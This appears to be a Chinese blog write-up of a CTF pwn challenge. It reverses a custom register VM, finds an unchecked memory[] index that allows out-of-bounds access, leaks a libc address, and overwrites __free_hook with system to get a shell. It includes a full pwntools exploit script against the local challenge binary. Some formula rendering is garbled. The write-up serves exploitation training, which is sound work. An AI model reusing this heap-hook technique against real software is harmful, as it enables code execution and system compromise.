静态分析
拿到题目后第一件事先检查程序的保护机制
看到程序除了canary保护以为,其他保护都开了,丢到IDA里面静态分析,程序先是为comment参数分配了一块0x8c大小的内存,然后让我们输入指令起始位置和栈起始位置,然后将指令起始位置赋值给reg[13],将栈起始位置赋值给reg[15],而且指令的数量不能大于0x10000,然后就是需要我们一条一条输入指令,输入完毕后就读取指令并执行,最后会有一个向comment中写入数据然后调用sendcomment函数
然后我们分别看一下fetch() / execute() / sendcomment() 这三个函数
fetch()函数就是将指令取出来,然后将reg[15] + 1 去读取下一条指令
execute()函数也是这里最重要的函数了,它实现了每一条指令的功能,该函数太长了,这里就直接把代码复制过来了
ssize_t __fastcall execute(int a1)
{
ssize_t result;
unsigned __int8 src_2;
unsigned __int8 src_1;
unsigned __int8 dest;
int i;
dest = (a1 & 0xF0000u) >> 16;
src_1 = (unsigned __int16)(a1 & 0xF00) >> 8;
src_2 = a1 & 0xF;
result = HIBYTE(a1);
if ( HIBYTE(a1) == 112 )
{
result = (ssize_t)reg;
reg[dest] = reg[src_2] + reg[src_1];
return result;
}
if ( HIBYTE(a1) > 0x70u )
{
if ( HIBYTE(a1) == 176 )
{
result = (ssize_t)reg;
reg[dest] = reg[src_2] ^ reg[src_1];
return result;
}
if ( HIBYTE(a1) > 0xB0u )
{
if ( HIBYTE(a1) == 208 )
{
result = (ssize_t)reg;
reg[dest] = (int)reg[src_1] >> reg[src_2];
return result;
}
if ( HIBYTE(a1) > 0xD0u )
{
if ( HIBYTE(a1) == 224 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL);
}
else if ( HIBYTE(a1) != 255 )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);
result = write(1, "HALT\n", 5uLL);
}
else if ( HIBYTE(a1) == 192 )
{
result = (ssize_t)reg;
reg[dest] = reg[src_1] << reg[src_2];
}
}
else
{
switch ( HIBYTE(a1) )
{
case 0x90u:
result = (ssize_t)reg;
reg[dest] = reg[src_2] & reg[src_1];
break;
case 0xA0u:
result = (ssize_t)reg;
reg[dest] = reg[src_2] | reg[src_1];
break;
case 0x80u:
result = (ssize_t)reg;
reg[dest] = reg[src_1] - reg[src_2];
break;
}
}
}
else if ( HIBYTE(a1) == 48 )
{
result = (ssize_t)reg;
reg[dest] = memory[reg[src_2]];
}
else if ( HIBYTE(a1) > 0x30u )
{
switch ( HIBYTE(a1) )
{
case 0x50u:
LODWORD(result) = reg[13];
reg[13] = result + 1;
result = (int)result;
stack[(int)result] = reg[dest];
break;
case 0x60u:
--reg[13];
result = (ssize_t)reg;
reg[dest] = stack[reg[13]];
break;
case 0x40u:
result = (ssize_t)memory;
memory[reg[src_2]] = reg[dest];
break;
}
}
else if ( HIBYTE(a1) == 16 )
{
result = (ssize_t)reg;
reg[dest] = (unsigned __int8)a1;
}
else if ( HIBYTE(a1) == 32 )
{
result = (ssize_t)reg;
reg[dest] = (_BYTE)a1 == 0;
}
return result;
}
大致指令如下
mov reg, op 0x10 : reg[dest] = op
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
这里的两个mov没有对memory[]数组进行边界检查,可以越界写
sendcomment()函数就是把comment给free掉了
我们查看 comment、reg、memory、stack 这些数据都是存放在bss段上的,所以在 memory 越界写的时候,是可以把 comment、reg、stack 内容改掉的
而且程序最后又把comment给free掉了,如果我们能把 __free_hook 改为 system ,然后在 comment 里面写入 /bin/sh ,那么 free(comment) 就可以做到 system("/bin/sh") 了
泄露地址
当我们输入的操作数是0xE0的时候会将寄存器里面的值打印出来,所以这里可以泄露地址
首先我们需要把 __free_hook 地址泄露出来,然后找到libc的基址,我们可以随便将got表中的一个函数的地址放到memary[]数组中这样后面打印memary[]数组的时候就可以把函数真实地址打印出来了,这里我们选择了离memary[]数组最近的stderr,
我们可以把stderr的地址放到memary[]数组中,这样就可把stderr的地址打印出来,由于数组只能四字节四字节存放,而64位程序下地址有8字节,所以我们得将stderr的低四位和高四位分别存放,然后拼接起来,首先计算一下目标stderr相对于memary[]数组是第几个
memary[] : 0x0202060
stderr : 0x0201FF8
(
0
x
0202060
?
0
x
0201
F
F
8
)
/
4
=
26
(0x0202060 - 0x0201FF8) / 4 = 26
(0x0202060?0x0201FF8)/4=26
reg[0] = 26
reg[1] = reg[1] - reg[0]
reg[2] = memory[reg[1]]
reg[0] = 25
reg[1] = 0
reg[1] = reg[1] - reg[0]
reg[3] = memory[reg[1]]
这样我们就成功将stderr的地址写入了reg[]数组中,就可以leak了
漏洞利用
我们有了 stderr 的地址之后,因为存放在reg[]数组中,所以我们可以计算stderr的地址和__free_hook 的偏移,然后把__free_hook -8的地址写到 comment 中,然后修改 comment 为 system 的地址即修改 __free_hook 为 system 的地址,并且把 /bin/sh 写到 comment 中,这样后续 free(comment) 就可以执行 system("/bin/sh") 了
我们用gdb调试程序,查看stderr的got表偏移,利用程序基址加上偏移计算出stderr的got表真实地址
然后我们查看__free_hook 的地址,减去stderr的真实地址,就可以算出__free_hook 相对于stderr的偏移了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bnC9C6LU-1647696757991)(https://s2.loli.net/2022/03/19/iKC51sXwNPlRQ7n.png)]
这里我们依旧采用分两次高位、低位分别写入的方法,将__free_hook的地址拼接起来,由于这里reg[]数组数据每次只能操作两字节,所以__free_hook-8 即 0x10a0 采用 1 右移 3 字节加上 a 右移一字节的方法写到reg[4]中,然后再将偏移加上reg[2]中stderr的低四字节存放到reg[2]中,这样reg[2]和reg[3]拼接起来就是 __free_hook-8 的地址了
reg[4] = 0x10
reg[5] = 12
reg[4] = reg[4] << reg[5]
reg[5] = 0xa
reg[6] = 4
reg[5] = reg[5] << reg[6]
reg[4] = reg[4] + reg[5]
reg[2] = reg[4] + reg[2]
然后我们只需要把 __free_hook 的地址写到comment即可,这里我们算一下comment相对于memary[]数组的位置
menary[] : 0x0202060
comment : 0x0202040
(
0
x
0202060
?
0
x
0202040
)
/
8
=
8
(0x0202060 - 0x0202040) / 8 = 8
(0x0202060?0x0202040)/8=8
reg[4] = 8
reg[5] = 0
reg[5] = reg[5] - reg[4]
memory[reg[5]] = reg[2]
reg[4] = 7
reg[5] = 0
reg[5] = reg[5] - reg[4]
memary[reg[5]] = reg[3]
exit
还是老样子分低位高位写入,把__free_hook-8 的地址写到comment上
然后我们退出就可以,它就会把__free_hook-8 的地址输出出来,我们把拿到的地址+8就可以得到__free_hook 的真实地址吗,然后我们计算system函数的真实地址,然后再程序下面对comment进行写的操作的时候就可以写入 /bin/sh + p64(sys_addr) 写到 __free_hook-8 里面了,这时候__free_hook 就被我们写成了 system 函数
然后程序最后执行 free(comment) 就相当于执行了 system("/bin/sh")
EXP编写
由于它的操作指令和操作数,是通过这个运算得到的,所以我们可以将我们想要的操作指令转换为数据输入
我们逆过来计算
完整exp:
from pwn import *
from LibcSearcher import *
sh = process("./pwn")
'''
0x10 : reg[dest] = op
0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''
def send_code(opcode, dest, src1, src2):
code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2
print(hex(code))
return str(code)
sh.sendlineafter("PC: ", '0')
sh.sendlineafter("SP: ", '1')
sh.sendlineafter("CODE SIZE: ", "24")
sh.recvuntil("CODE: ")
sh.sendline(send_code(0x10, 0, 0, 26))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 2, 0, 1))
sh.sendline(send_code(0x10, 0, 0, 25))
sh.sendline(send_code(0x10, 1, 0, 0))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 3, 0, 1))
sh.sendline(send_code(0x10, 4, 0, 0x10))
sh.sendline(send_code(0x10, 5, 0, 8))
sh.sendline(send_code(0xC0, 4, 4, 5))
sh.sendline(send_code(0x10, 5, 0, 0xa))
sh.sendline(send_code(0x10, 6, 0, 4))
sh.sendline(send_code(0xC0, 5, 5, 6))
sh.sendline(send_code(0x70, 4, 4, 5))
sh.sendline(send_code(0x70, 2, 4, 2))
sh.sendline(send_code(0x10, 4, 0, 8))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 2, 0, 5))
sh.sendline(send_code(0x10, 4, 0, 7))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 3, 0, 5))
sh.sendline(send_code(0xE0, 0, 0, 0))
sh.recvuntil("R2: ")
low = int(sh.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
sh.recvuntil("R3: ")
high = int(sh.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))
libc = LibcSearcher('__free_hook', free_hook_addr)
libc_base = free_hook_addr - libc.dump("__free_hook")
sys_addr = libc_base + libc.dump("system")
payload = b"/bin/sh\x00" + p64(sys_addr)
sh.send(payload)
sh. interactive()
拿到shell
myblog
|